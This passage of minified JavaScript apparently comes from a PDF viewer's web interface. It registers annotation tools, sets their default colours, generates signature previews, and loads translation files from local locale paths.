".concat(e.message))}},F0=function(e,t){t?(e.dispatch(Ps.setActiveToolGroup(t)),e.dispatch(Ps.openElement("toolsOverlay"))):(e.dispatch(Ps.setActiveToolGroup("")),e.dispatch(Ps.closeElement("toolsOverlay")))},B0=function(e){e.forEach((function(e){vt.deleteAnnotations(e.getReplies(),{imported:!1,force:!0})}))};function H0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function V0(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){H0(i,r,o,a,l,"next",e)}function l(e){H0(i,r,o,a,l,"throw",e)}a(void 0)}))}}var z0=window.Core.Tools.ToolNames,U0=function(e){return function(t){"string"==typeof t&&e.dispatch(Ps.disableElement(t,3)),e.dispatch(Ps.disableElements(t,3))}},G0=function(e){return function(t){return"string"==typeof t?e.dispatch(Ps.enableElement(t,3)):e.dispatch(Ps.enableElements(t,3))}};function W0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var q0=Promise.resolve(),Z0=function(){var e=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){W0(i,r,o,a,l,"next",e)}function l(e){W0(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function e(t){var n,r,o;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=vt.getTool("AnnotationCreateSignature"),r=t.map(vt.getAnnotationCopy),e.next=4,q0;case 4:return q0=Promise.all(r.map((function(e){var t=e.StrokeThickness;e.StrokeThickness=6;var r=n.getPreview(e);return e.StrokeThickness=t,r}))),e.next=7,q0;case 7:return o=e.sent,e.abrupt("return",r.map((function(e,t){return{annotation:e,imgSrc:o[t]}})));case 9:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}();function Y0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function $0(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){Y0(i,r,o,a,l,"next",e)}function l(e){Y0(i,r,o,a,l,"throw",e)}a(void 0)}))}}function K0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function X0(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){K0(i,r,o,a,l,"next",e)}function l(e){K0(i,r,o,a,l,"throw",e)}a(void 0)}))}}function Q0(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function J0(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){Q0(i,r,o,a,l,"next",e)}function l(e){Q0(i,r,o,a,l,"throw",e)}a(void 0)}))}}var e1=window.Core.Tools.ToolNames,t1=n(79),n1=n(323);function r1(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o1(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var i1=function(){return{loadPath:"/locales/{{lng}}/{{ns}}.json",addPath:"/locales/add/{{lng}}/{{ns}}",allowMultiLoading:!1,parse:function(e){return JSON.parse(e)},stringify:JSON.stringify,parsePayload:function(e,t,n){return function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},t,n||"")},request:n1.a,reloadInterval:"undefined"==typeof window&&36e5,customHeaders:{},queryStringParams:{},crossDomain:!1,withCredentials:!1,overrideMimeType:!1,requestOptions:{mode:"cors",credentials:"same-origin",cache:"default"}}},a1=function(){function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};r1(this,e),this.services=t,this.options=n,this.allOptions=r,this.type="backend",this.init(t,n,r)}var t,n,r;return t=e,(n=[{key:"init",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};this.services=e,this.options=Object(t1.a)(n,this.options||{},i1()),this.allOptions=r,this.services&&this.options.reloadInterval&&setInterval((function(){return t.reload()}),this.options.reloadInterval)}},{key:"readMulti",value:function(e,t,n){this._readAny(e,e,t,t,n)}},{key:"read",value:function(e,t,n){this._readAny([e],e,[t],t,n)}},{key:"_readAny",value:function(e,t,n,r,o){var i=this,a=this.options.loadPath;"function"==typeof this.options.loadPath&&(a=this.options.loadPath(e,n)),(a=Object(t1.c)(a)).then((function(a){if(!a)return o(null,{});var l=i.services.interpolator.interpolate(a,{lng:e.join("+"),ns:n.join("+")});i.loadUrl(l,o,t,r)}))}},{key:"loadUrl",value:function(e,t,n,r){var o=this;this.options.request(this.options,e,void 0,(function(i,a){if(a&&(a.status>=500&&a.status<600||!a.status))return t("failed loading "+e+"; status code: "+a.status,!0);if(a&&a.status>=400&&a.status<500)return t("failed loading "+e+"; status code: "+a.status,!1);if(!a&&i&&i.message&&i.message.indexOf("Failed to fetch")>-1)return t("failed loading "+e+": "+i.message,!0);if(i)return t(i,!1);var l,s;try{l="string"==typeof a.data?o.options.parse(a.data,n,r):a.data}catch(t){s="failed parsing "+e+" to json"}if(s)return t(s,!1);t(null,l)}))}},{key:"create",value:function(e,t,n,r,o){var i=this;if(this.options.addPath){"string"==typeof e&&(e=[e]);var a=this.options.parsePayload(t,n,r),l=0,s=[],u=[];e.forEach((function(n){var r=i.options.addPath;"function"==typeof i.options.addPath&&(r=i.options.addPath(n,t));var c=i.services.interpolator.interpolate(r,{lng:n,ns:t});i.options.request(i.options,c,a,(function(t,n){l+=1,s.push(t),u.push(n),l===e.length&&o&&o(s,u)}))}))}}},{key:"reload",value:function(){var e=this,t=this.services,n=t.backendConnector,r=t.languageUtils,o=t.logger,i=n.language;if(!i||"cimode"!==i.toLowerCase()){var a=[],l=function(e){r.toResolveHierarchy(e).forEach((function(e){a.indexOf(e)<0&&a.push(e)}))};l(i),this.allOptions.preload&&this.allOptions.preload.forEach((function(e){return l(e)})),a.forEach((function(t){e.allOptions.ns.forEach((function(e){n.read(t,e,"read",null,null,(function(r,i){r&&o.warn("loading namespace ".concat(e," for language ").concat(t," failed"),r),!r&&i&&o.log("loaded namespace ".concat(e," for language ").concat(t),i),n.loaded("".concat(t,"|").concat(e),r,i)}))}))}))}}}])&&o1(t.prototype,n),r&&o1(t,r),Object.defineProperty(t,"prototype",{writable:!1}),e}();a1.type="backend";var l1=a1;function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function u1(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?s1(Object(n),!0).forEach((function(t){c1(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):s1(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function c1(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}st.languages=QJ;var f1=function(e,t,n,r){try{var o=new XMLHttpRequest;o.open("GET",t,1),e.crossDomain||o.setRequestHeader("X-Requested-With","XMLHttpRequest"),o.withCredentials=!!e.withCredentials,n&&o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),o.overrideMimeType&&o.overrideMimeType("application/json");var i=e.customHeaders;if(i="function"==typeof i?i():i)for(var a in i)o.setRequestHeader(a,i[a]);o.onreadystatechange=function(){o.readyState>3&&r(o.status>=400?o.statusText:null,{status:o.status||200,data:o.responseText})},o.send(n)}catch(e){console.warn(e)}},d1=function(e){var t=vt.getToolModeMap(),n=window.Core.Tools.ToolNames;t.AnnotationCreateTextHighlight2=new window.Core.Tools.TextHighlightCreateTool(e,n.HIGHLIGHT2),t.AnnotationCreateTextHighlight3=new window.Core.Tools.TextHighlightCreateTool(e,n.HIGHLIGHT3),t.AnnotationCreateTextHighlight4=new window.Core.Tools.TextHighlightCreateTool(e,n.HIGHLIGHT4),t.AnnotationCreateFreeHand2=new window.Core.Tools.FreeHandCreateTool(e,n.FREEHAND2),t.AnnotationCreateFreeHand3=new window.Core.Tools.FreeHandCreateTool(e,n.FREEHAND3),t.AnnotationCreateFreeHand4=new window.Core.Tools.FreeHandCreateTool(e,n.FREEHAND4),t.AnnotationCreateFreeHandHighlight2=new window.Core.Tools.FreeHandHighlightCreateTool(e,n.FREEHAND_HIGHLIGHT2),t.AnnotationCreateFreeHandHighlight3=new window.Core.Tools.FreeHandHighlightCreateTool(e,n.FREEHAND_HIGHLIGHT3),t.AnnotationCreateFreeHandHighlight4=new window.Core.Tools.FreeHandHighlightCreateTool(e,n.FREEHAND_HIGHLIGHT4),t.AnnotationCreateFreeText2=new window.Core.Tools.FreeTextCreateTool(e,n.FREETEXT2),t.AnnotationCreateFreeText3=new window.Core.Tools.FreeTextCreateTool(e,n.FREETEXT3),t.AnnotationCreateFreeText4=new window.Core.Tools.FreeTextCreateTool(e,n.FREETEXT4),t.AnnotationCreateDateFreeText2=new window.Core.Tools.DateFreeTextCreateTool(e,n.DATEFREETEXT2),t.AnnotationCreateDateFreeText3=new window.Core.Tools.DateFreeTextCreateTool(e,n.DATEFREETEXT3),t.AnnotationCreateDateFreeText4=new window.Core.Tools.DateFreeTextCreateTool(e,n.DATEFREETEXT4),t.AnnotationCreateCallout2=new window.Core.Tools.CalloutCreateTool(e,n.CALLOUT2),t.AnnotationCreateCallout3=new window.Core.Tools.CalloutCreateTool(e,n.CALLOUT3),t.AnnotationCreateCallout4=new window.Core.Tools.CalloutCreateTool(e,n.CALLOUT4),t.AnnotationCreateSticky2=new window.Core.Tools.StickyCreateTool(e,n.STICKY2),t.AnnotationCreateSticky3=new window.Core.Tools.StickyCreateTool(e,n.STICKY3),t.AnnotationCreateSticky4=new window.Core.Tools.StickyCreateTool(e,n.STICKY4),t.AnnotationCreateTextUnderline2=new window.Core.Tools.TextUnderlineCreateTool(e,n.UNDERLINE2),t.AnnotationCreateTextUnderline3=new window.Core.Tools.TextUnderlineCreateTool(e,n.UNDERLINE3),t.AnnotationCreateTextUnderline4=new window.Core.Tools.TextUnderlineCreateTool(e,n.UNDERLINE4),t.AnnotationCreateTextStrikeout2=new window.Core.Tools.TextStrikeoutCreateTool(e,n.STRIKEOUT2),t.AnnotationCreateTextStrikeout3=new window.Core.Tools.TextStrikeoutCreateTool(e,n.STRIKEOUT3),t.AnnotationCreateTextStrikeout4=new window.Core.Tools.TextStrikeoutCreateTool(e,n.STRIKEOUT4),t.AnnotationCreateTextSquiggly2=new window.Core.Tools.TextSquigglyCreateTool(e,n.SQUIGGLY2),t.AnnotationCreateTextSquiggly3=new window.Core.Tools.TextSquigglyCreateTool(e,n.SQUIGGLY3),t.AnnotationCreateTextSquiggly4=new window.Core.Tools.TextSquigglyCreateTool(e,n.SQUIGGLY4),t.AnnotationCreateRectangle2=new window.Core.Tools.RectangleCreateTool(e,n.RECTANGLE2),t.AnnotationCreateRectangle3=new window.Core.Tools.RectangleCreateTool(e,n.RECTANGLE3),t.AnnotationCreateRectangle4=new window.Core.Tools.RectangleCreateTool(e,n.RECTANGLE4),t.AnnotationCreateEllipse2=new window.Core.Tools.EllipseCreateTool(e,n.ELLIPSE2),t.AnnotationCreateEllipse3=new window.Core.Tools.EllipseCreateTool(e,n.ELLIPSE3),t.AnnotationCreateEllipse4=new window.Core.Tools.EllipseCreateTool(e,n.ELLIPSE4),t.AnnotationCreatePolygon2=new window.Core.Tools.PolygonCreateTool(e,n.POLYGON2),t.AnnotationCreatePolygon3=new window.Core.Tools.PolygonCreateTool(e,n.POLYGON3),t.AnnotationCreatePolygon4=new window.Core.Tools.PolygonCreateTool(e,n.POLYGON4),t.AnnotationCreatePolygonCloud2=new window.Core.Tools.PolygonCloudCreateTool(e,n.POLYGON_CLOUD2),t.AnnotationCreatePolygonCloud3=new window.Core.Tools.PolygonCloudCreateTool(e,n.POLYGON_CLOUD3),t.AnnotationCreatePolygonCloud4=new window.Core.Tools.PolygonCloudCreateTool(e,n.POLYGON_CLOUD4),t.AnnotationCreateLine2=new window.Core.Tools.LineCreateTool(e,n.LINE2),t.AnnotationCreateLine3=new window.Core.Tools.LineCreateTool(e,n.LINE3),t.AnnotationCreateLine4=new window.Core.Tools.LineCreateTool(e,n.LINE4),t.AnnotationCreatePolyline2=new window.Core.Tools.PolylineCreateTool(e,n.POLYLINE2),t.AnnotationCreatePolyline3=new window.Core.Tools.PolylineCreateTool(e,n.POLYLINE3),t.AnnotationCreatePolyline4=new window.Core.Tools.PolylineCreateTool(e,n.POLYLINE4),t.AnnotationCreateArrow2=new window.Core.Tools.ArrowCreateTool(e,n.ARROW2),t.AnnotationCreateArrow3=new window.Core.Tools.ArrowCreateTool(e,n.ARROW3),t.AnnotationCreateArrow4=new window.Core.Tools.ArrowCreateTool(e,n.ARROW4),t.AnnotationCreateCountMeasurement2=new window.Core.Tools.CountMeasurementCreateTool(e,n.COUNT_MEASUREMENT2),t.AnnotationCreateCountMeasurement3=new window.Core.Tools.CountMeasurementCreateTool(e,n.COUNT_MEASUREMENT3),t.AnnotationCreateCountMeasurement4=new window.Core.Tools.CountMeasurementCreateTool(e,n.COUNT_MEASUREMENT4),t.AnnotationCreateDistanceMeasurement2=new window.Core.Tools.DistanceMeasurementCreateTool(e,n.DISTANCE_MEASUREMENT2),t.AnnotationCreateDistanceMeasurement3=new window.Core.Tools.DistanceMeasurementCreateTool(e,n.DISTANCE_MEASUREMENT3),t.AnnotationCreateDistanceMeasurement4=new window.Core.Tools.DistanceMeasurementCreateTool(e,n.DISTANCE_MEASUREMENT4),t.AnnotationCreatePerimeterMeasurement2=new window.Core.Tools.PerimeterMeasurementCreateTool(e,n.PERIMETER_MEASUREMENT2),t.AnnotationCreatePerimeterMeasurement3=new window.Core.Tools.PerimeterMeasurementCreateTool(e,n.PERIMETER_MEASUREMENT3),t.AnnotationCreatePerimeterMeasurement4=new window.Core.Tools.PerimeterMeasurementCreateTool(e,n.PERIMETER_MEASUREMENT4),t.AnnotationCreateAreaMeasurement2=new window.Core.Tools.AreaMeasurementCreateTool(e,n.AREA_MEASUREMENT2),t.AnnotationCreateAreaMeasurement3=new window.Core.Tools.AreaMeasurementCreateTool(e,n.AREA_MEASUREMENT3),t.AnnotationCreateAreaMeasurement4=new window.Core.Tools.AreaMeasurementCreateTool(e,n.AREA_MEASUREMENT4),t.AnnotationCreateEllipseMeasurement2=new window.Core.Tools.EllipseMeasurementCreateTool(e,n.ELLIPSE_MEASUREMENT2),t.AnnotationCreateEllipseMeasurement3=new window.Core.Tools.EllipseMeasurementCreateTool(e,n.ELLIPSE_MEASUREMENT3),t.AnnotationCreateEllipseMeasurement4=new window.Core.Tools.EllipseMeasurementCreateTool(e,n.ELLIPSE_MEASUREMENT4),t.AnnotationCreateRectangularAreaMeasurement2=new window.Core.Tools.RectangularAreaMeasurementCreateTool(e,n.RECTANGULAR_AREA_MEASUREMENT2),t.AnnotationCreateRectangularAreaMeasurement3=new window.Core.Tools.RectangularAreaMeasurementCreateTool(e,n.RECTANGULAR_AREA_MEASUREMENT3),t.AnnotationCreateRectangularAreaMeasurement4=new window.Core.Tools.RectangularAreaMeasurementCreateTool(e,n.RECTANGULAR_AREA_MEASUREMENT4),t.TextFormFieldCreateTool2=new window.Core.Tools.TextFormFieldCreateTool(e,n.TEXT_FORM_FIELD2),t.TextFormFieldCreateTool3=new window.Core.Tools.TextFormFieldCreateTool(e,n.TEXT_FORM_FIELD3),t.TextFormFieldCreateTool4=new window.Core.Tools.TextFormFieldCreateTool(e,n.TEXT_FORM_FIELD4),t.SignatureFormFieldCreateTool2=new window.Core.Tools.SignatureFormFieldCreateTool(e,n.SIG_FORM_FIELD2),t.SignatureFormFieldCreateTool3=new window.Core.Tools.SignatureFormFieldCreateTool(e,n.SIG_FORM_FIELD3),t.SignatureFormFieldCreateTool4=new window.Core.Tools.SignatureFormFieldCreateTool(e,n.SIG_FORM_FIELD4),t.ListBoxFormFieldCreateTool2=new window.Core.Tools.ListBoxFormFieldCreateTool(e,n.LIST_BOX_FIELD2),t.ListBoxFormFieldCreateTool3=new window.Core.Tools.ListBoxFormFieldCreateTool(e,n.LIST_BOX_FIELD3),t.ListBoxFormFieldCreateTool4=new window.Core.Tools.ListBoxFormFieldCreateTool(e,n.LIST_BOX_FIELD4),t.ComboBoxFormFieldCreateTool2=new window.Core.Tools.ComboBoxFormFieldCreateTool(e,n.COMBO_BOX_FIELD2),t.ComboBoxFormFieldCreateTool3=new window.Core.Tools.ComboBoxFormFieldCreateTool(e,n.COMBO_BOX_FIELD3),t.ComboBoxFormFieldCreateTool4=new window.Core.Tools.ComboBoxFormFieldCreateTool(e,n.COMBO_BOX_FIELD4),t.AnnotationCreateCloudyRectangularAreaMeasurement2=new window.Core.Tools.CloudyRectangularAreaMeasurementCreateTool(e,n.CLOUDY_RECTANGULAR_AREA_MEASUREMENT2),t.AnnotationCreateCloudyRectangularAreaMeasurement3=new window.Core.Tools.CloudyRectangularAreaMeasurementCreateTool(e,n.CLOUDY_RECTANGULAR_AREA_MEASUREMENT3),t.AnnotationCreateCloudyRectangularAreaMeasurement4=new window.Core.Tools.CloudyRectangularAreaMeasurementCreateTool(e,n.CLOUDY_RECTANGULAR_AREA_MEASUREMENT4),t.AnnotationCreateArcMeasurement2=new window.Core.Tools.ArcMeasurementCreateTool(e,n.ARC_MEASUREMENT2),t.AnnotationCreateArcMeasurement3=new window.Core.Tools.ArcMeasurementCreateTool(e,n.ARC_MEASUREMENT3),t.AnnotationCreateArcMeasurement4=new window.Core.Tools.ArcMeasurementCreateTool(e,n.ARC_MEASUREMENT4),t.AnnotationCreateArc2=new window.Core.Tools.ArcCreateTool(e,n.ARC2),t.AnnotationCreateArc3=new window.Core.Tools.ArcCreateTool(e,n.ARC3),t.AnnotationCreateArc4=new window.Core.Tools.ArcCreateTool(e,n.ARC4),t[n.REDACTION2]=new window.Core.Tools.RedactionCreateTool(e,n.REDACTION2),t[n.REDACTION3]=new window.Core.Tools.RedactionCreateTool(e,n.REDACTION3),t[n.REDACTION4]=new window.Core.Tools.RedactionCreateTool(e,n.REDACTION4),t.AnnotationCreateChangeViewTool=new window.Core.Tools.ChangeViewCreateTool(e,n.CHANGEVIEW),t.AnnotationCreateChangeViewTool2=new window.Core.Tools.ChangeViewCreateTool(e,n.CHANGEVIEW2),t.AnnotationCreateChangeViewTool3=new window.Core.Tools.ChangeViewCreateTool(e,n.CHANGEVIEW3),t.AnnotationCreateChangeViewTool4=new window.Core.Tools.ChangeViewCreateTool(e,n.CHANGEVIEW4)},p1=function(){var e=vt.getDocumentViewer();e.DEFAULT_MARGIN=10,d1(e)},h1={AnnotationCreateCountMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateCountMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateCountMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateCountMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateRectangularAreaMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateRectangularAreaMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateRectangularAreaMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateRectangularAreaMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateCloudyRectangularAreaMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateCloudyRectangularAreaMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateCloudyRectangularAreaMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateCloudyRectangularAreaMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateEllipseMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateEllipseMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateEllipseMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateEllipseMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateAreaMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateAreaMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateAreaMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateAreaMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreatePerimeterMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreatePerimeterMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreatePerimeterMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreatePerimeterMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateArcMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateArcMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateArcMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateArcMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateArc:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateArc2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateArc3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateArc4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateDistanceMeasurement:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateDistanceMeasurement2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateDistanceMeasurement3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateDistanceMeasurement4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateArrow:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateArrow2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateArrow3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateArrow4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateLine:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateLine2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateLine3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateLine4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreatePolyline:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreatePolyline2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreatePolyline3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreatePolyline4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreatePolygonCloud:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreatePolygonCloud2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreatePolygonCloud3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreatePolygonCloud4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreatePolygon:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreatePolygon2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreatePolygon3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreatePolygon4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateRectangle:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateRectangle2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateRectangle3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateRectangle4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateEllipse:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateEllipse2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateEllipse3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateEllipse4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateFreeHand:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateFreeHand2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateFreeHand3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateFreeHand4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateFreeHandHighlight:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateFreeHandHighlight2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateFreeHandHighlight3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateFreeHandHighlight4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateFreeText:{TextColor:{R:228,G:66,B:52,A:1}},AnnotationCreateFreeText2:{TextColor:{R:0,G:0,B:0,A:1}},AnnotationCreateFreeText3:{TextColor:{R:78,G:125,B:233,A:1}},AnnotationCreateFreeText4:{TextColor:{R:0,G:122,B:59,A:1}},AnnotationCreateDateFreeText:{TextColor:{R:228,G:66,B:52,A:1}},AnnotationCreateDateFreeText2:{TextColor:{R:0,G:0,B:0,A:1}},AnnotationCreateDateFreeText3:{TextColor:{R:78,G:125,B:233,A:1}},AnnotationCreateDateFreeText4:{TextColor:{R:0,G:122,B:59,A:1}},AnnotationCreateCallout:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateCallout2:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateCallout3:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateCallout4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateSticky:{StrokeColor:{R:255,G:205,B:69,A:1}},AnnotationCreateSticky2:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateSticky3:{StrokeColor:{R:255,G:141,B:0,A:1}},AnnotationCreateSticky4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateTextHighlight:{StrokeColor:{R:255,G:205,B:69,A:1}},AnnotationCreateTextHighlight2:{StrokeColor:{R:37,G:210,B:209,A:1}},AnnotationCreateTextHighlight3:{StrokeColor:{R:0,G:204,B:99,A:1}},AnnotationCreateTextHighlight4:{StrokeColor:{R:226,G:161,B:230,A:1}},AnnotationCreateTextUnderline:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateTextUnderline2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateTextUnderline3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateTextUnderline4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateTextSquiggly:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateTextSquiggly2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateTextSquiggly3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateTextSquiggly4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateTextStrikeout:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateTextStrikeout2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateTextStrikeout3:{StrokeColor:{R:0,G:0,B:0,A:1}},AnnotationCreateTextStrikeout4:{StrokeColor:{R:0,G:122,B:59,A:1}},TextFormFieldCreateTool:{TextColor:{R:0,G:0,B:0,A:1}},TextFormFieldCreateTool2:{TextColor:{R:228,G:66,B:52,A:1}},TextFormFieldCreateTool3:{TextColor:{R:78,G:125,B:233,A:1}},TextFormFieldCreateTool4:{TextColor:{R:0,G:122,B:59,A:1}},SignatureFormFieldCreateTool:{StrokeColor:{R:0,G:0,B:0,A:1}},SignatureFormFieldCreateTool2:{StrokeColor:{R:228,G:66,B:52,A:1}},SignatureFormFieldCreateTool3:{StrokeColor:{R:78,G:125,B:233,A:1}},SignatureFormFieldCreateTool4:{StrokeColor:{R:0,G:122,B:59,A:1}},ListBoxFormFieldCreateTool:{StrokeColor:{R:0,G:0,B:0,A:1}},ListBoxFormFieldCreateTool2:{StrokeColor:{R:228,G:66,B:52,A:1}},ListBoxFormFieldCreateTool3:{StrokeColor:{R:78,G:125,B:233,A:1}},ListBoxFormFieldCreateTool4:{StrokeColor:{R:0,G:122,B:59,A:1}},ComboBoxFormFieldCreateTool:{StrokeColor:{R:0,G:0,B:0,A:1}},ComboBoxFormFieldCreateTool2:{StrokeColor:{R:228,G:66,B:52,A:1}},ComboBoxFormFieldCreateTool3:{StrokeColor:{R:78,G:125,B:233,A:1}},ComboBoxFormFieldCreateTool4:{StrokeColor:{R:0,G:122,B:59,A:1}},AnnotationCreateRedaction:{StrokeColor:{R:255,G:0,B:0,A:1}},AnnotationCreateRedaction2:{StrokeColor:{R:0,G:0,B:255,A:1}},AnnotationCreateRedaction3:{StrokeColor:{R:255,G:255,B:0,A:1}},AnnotationCreateRedaction4:{StrokeColor:{R:0,G:128,B:0,A:1}},AnnotationCreateChangeViewTool:{StrokeColor:{R:228,G:66,B:52,A:1}},AnnotationCreateChangeViewTool2:{StrokeColor:{R:78,G:125,B:233,A:1}},AnnotationCreateChangeViewTool3:{StrokeC